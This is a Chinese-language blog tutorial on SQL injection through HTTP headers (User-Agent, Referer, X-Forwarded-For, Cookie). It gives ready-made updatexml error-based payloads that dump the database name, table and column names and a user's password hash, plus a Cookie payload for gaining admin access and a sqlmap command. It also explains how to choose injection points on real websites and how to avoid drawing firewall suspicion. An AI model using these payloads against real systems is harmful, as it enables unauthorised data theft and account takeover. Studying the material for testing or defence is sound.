http头注入

http头注入

对于后端数据库来说,凡是用户能控制、并且会被存入数据库的数据,都是危险的。 服务器经常会收集以下信息并存入数据库(做日志、防风控、做分析):

  1. User-Agent (浏览器指纹) :记录用了什么浏览器、手机还是电脑。
  2. Referer (来源页) :记录是从哪个网站跳过来的。
  3. X-Forwarded-For (IP地址) :记录你的真实 IP。
  4. Cookie:记录你的登录状态。

攻击原理: 黑客利用 Burp Suite 修改这些 HTTP 头,把它们变成 SQL 攻击代码。当服务器尝试把这些“假头信息”存入数据库日志时,炸弹就引爆了。

一、判断

登录成功后,页面上方通常会显示类似这样的一行字:

"欢迎回来,您的 IP 是 127.0.0.1,您的浏览器是 Firefox..."

image

重点来了: 服务器把 User-Agent(浏览器信息)显示出来了!这意味着服务器肯定执行了类似这样的 SQL 语句:INSERT INTO member_log (username, ip, user_agent) VALUES ('admin', '127.0.0.1', '$user_agent');

二、User-Agent

一、抓包并修改 User-Agent

修改 Payload:User-Agent:​ 后面的内容(比如 Mozilla/5.0...)全部删掉,替换成下面的报错注入代码:

Firefox' or updatexml(1, concat(0x7e, database()), 1) or '

原理和之前的 Insert 注入一模一样,我们要用单引号闭合前面的 SQL 语句。

image

解释这个语句:Firefox' or updatexml(1, concat(0x7e, database()), 1) or '

  • 面包片 (左)Firefox' —— 负责闭合前面的逻辑。这个firefox只是占位的,换成123都可以。
  • 火腿肉 (中) ​:or updatexml(...) —— 真正的攻击代码。
  • 面包片 (右)or ' —— 负责闭合后面的逻辑。

二、其他步骤都是和前面的一样:进数据库->爆表名 -> 爆列名 -> 爆数据。

1、爆表名 (看看有没有 users 表)

Firefox' or updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1), 0x7e), 1) or '

2、爆列名 (假设表名是 users)

Firefox' or updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1), 0x7e), 1) or '

3、爆数据 (提取管理员密码)

Firefox' or updatexml(1, concat(0x7e, (select substr(password,1,16) from users limit 0,1), 0x7e), 1) or '

三、Referer (来源页注入)

应用场景​:网站通常会把 Referer 记录到数据库,用来做 流量分析、广告统计 或 ​SEO 优化

攻击方式:抓包,找到 Referer: http://baidu.com,把网址部分换成 SQL Payload。

Referer: ' or updatexml(1,concat(0x7e,database()),1) or '

四、X-Forwarded-For (IP 地址注入)

简称 XFF。当你的流量经过代理服务器(CDN、负载均衡)时,服务器用这个头来记录你的真实 IP。类似的还有 Client-IP

应用场景​:网站用来做 ​安全日志​、封禁 IP 或 ​IP 归属地分析

攻击方式:有时候请求包里没这个头,你需要手动添加一行。

X-Forwarded-For: 127.0.0.1' or updatexml(1,concat(0x7e,database()),1) or '

127.0.0.1:这是给服务器看的“正常数据”。虽然我们可以随便填,但填个合法的 IP 格式不容易引起防火墙怀疑。

' (单引号)闭合

or updatexml(...) —— 报错炸弹

or ' —— 善后闭合

五、Cookie 注入

Cookie 也是 HTTP Header 的一部分,但在 SQL 注入的世界里,它非常特殊,地位往往比 User-Agent 高得多。

区别 1:SQL 语句的“语境”不同 (最重要!)

  • User-Agent / Referer / XFF

    • 通常用于:日志记录。
    • 对应 SQL​:INSERT INTO logs (...) VALUES (...)
    • 后果:主要是为了把数据“炸”出来(报错注入),或者污染管理员的后台日志。
  • Cookie

    • 通常用于:身份验证(记住你是谁)。
    • 对应 SQL​:​SELECT * FROM users WHERE cookie_id = '$cookie'
    • 后果​:因为它是 SELECT​ 查询,这意味着如果页面有回显,你甚至可以直接用 ​UNION SELECT​(联合查询)来拿数据,而不必非要用 updatexml 报错注入!

区别 2:格式与编码的“坑”

  • User-Agent:通常是明文,服务器直接拿去存。

  • Cookie

    • 它是 键值对 (Key-Value) 结构,例如 id=1; user=admin​。你必须把 Payload 精准地插在的位置,不能破坏前面的键。
    • 编码陷阱​:Cookie 经常会被 ​URL 编码​(空格变 %20​,单引号变 %27)。如果服务器在读取 Cookie 后自动解码了一次,你可能需要根据情况决定是发送明文还是发送编码后的 Payload。

区别 3:持久性

  • User-Agent 和 Referer 是一次性的,发完就完了。
  • Cookie 是持久的。一旦你通过 Cookie 注入成功欺骗了服务器(比如 admin' #​),你的浏览器可能会在接下来的每一次请求中都带着这个“管理员身份”,实现越权访问

image

最后:这么多网站的包都有请求头,我怎么确定哪些网站有漏洞呢?

99% 的网站虽然都接收 HTTP Header,但它们并不会把这些 Header 存进数据库,或者存的时候做了严格过滤。

你需要问自己一个核心问题: “这个网站的哪个功能,需要把我的 IP、浏览器型号或来源页记录下来?”

1. 场景一:显式回显的功能(最容易发现)

如果一个网站在页面上直接把你的 Header 内容打印出来了,那是测试的第一优先级。

  • 特征

    • 登录成功后显示:“欢迎您,来自 192.168.1.1 的用户”。
    • 个人中心显示:“您上次登录使用的是 ​Chrome 浏览器”。
    • 文章评论区显示:“游客 IP:​123.123.xxx.xxx”。
  • 判断​: 既然它能显示,说明它肯定执行了 SELECT​ 查询或者 INSERT 记录。

  • 打法: 直接针对显示出来的那个字段(比如 User-Agent 或 XFF)进行报错注入。


2. 场景二:隐式记录的功能(后台日志)

这是最常见的 Header 注入场景,但因为前台看不见,很容易被忽略。你需要去猜哪里会有**“日志记录”**。

  • 高危点

    • 登录框(Login) ​:无论登录成功还是失败,后台通常都会记录 IP​ 和 User-Agent,用于做安全审计(防爆破)。
    • 投票/点赞系统​:为了防止刷票,系统通常会记录 IP 地址,限制“一个 IP 只能投一次”。
    • 敏感操作:修改密码、支付、提现。这些操作为了安全追溯,必定会记录 Header 信息。
  • 判断: 这些地方你看不到回显,所以通常需要用 Time-Based(时间盲注)DNSLog(外带信道) 来测试。如果页面突然卡了 5 秒,就说明有戏。


3. 场景三:特殊的业务逻辑

有些特定的 Header 是为了特定功能存在的。

  • Referer

    • 场景:站长统计工具、广告联盟、防盗链检查。
    • 逻辑:后台会分析“流量是从哪个网站跳过来的”,并存入数据库生成报表。
  • Cookie

    • 场景:记住密码、购物车、浏览历史。
    • 逻辑:后台需要根据 Cookie ID 去数据库里把你的个人信息捞出来。

拓展

实战中的“探测工具”

  1. SQLMap 的高级用法: SQLMap 默认是不跑 HTTP Header 的。你需要加参数让它去“扫荡”头部:

    • --level 3:会让 SQLMap 开始测试 User-Agent 和 Referer。
    • --level 2:会测试 Cookie。
    • 命令示例​:python sqlmap.py -u "http://target.com" --level 3 --dbs
  2. Burp Suite 插件​: Burp 商店里有一些插件(如 "Logger++" 或 ​ "Active Scan" ​),你可以配置它们自动对每一个请求的 User-Agent 加一个 ' 单引号。如果返回包的状态码变了(比如从 200 变成了 500),插件会报警提示你。

打开一个网站时,先做“功能分析”:

  1. 看到“登录” -> 想到 User-Agent/XFF 注入(日志记录)。
  2. 看到“记住我” -> 想到 Cookie 注入(身份查询)。
  3. 看到“分享/推广” -> 想到 Referer 注入(来源统计)。
posted @ 2025-12-22 20:00  xx666q  阅读(5)  评论(0)    收藏  举报